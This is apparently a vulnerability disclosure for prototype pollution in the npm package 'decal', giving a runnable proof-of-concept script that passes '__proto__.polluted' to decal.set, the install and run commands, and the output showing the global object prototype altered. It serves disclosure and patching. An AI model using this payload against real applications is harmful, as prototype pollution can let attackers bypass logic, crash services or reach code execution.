Description

Prototype Pollution in decal

Proof of Concept

1. Create the following PoC file:

// poc.js
var decal = require("decal")
var obj = {}
console.log("Before : " + {}.polluted);
decal.set(obj,"__proto__.polluted","Yes! Its Polluted");
console.log("After : " + {}.polluted);

2. Execute the following commands in terminal:

npm i decal # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
After : Yes! Its Polluted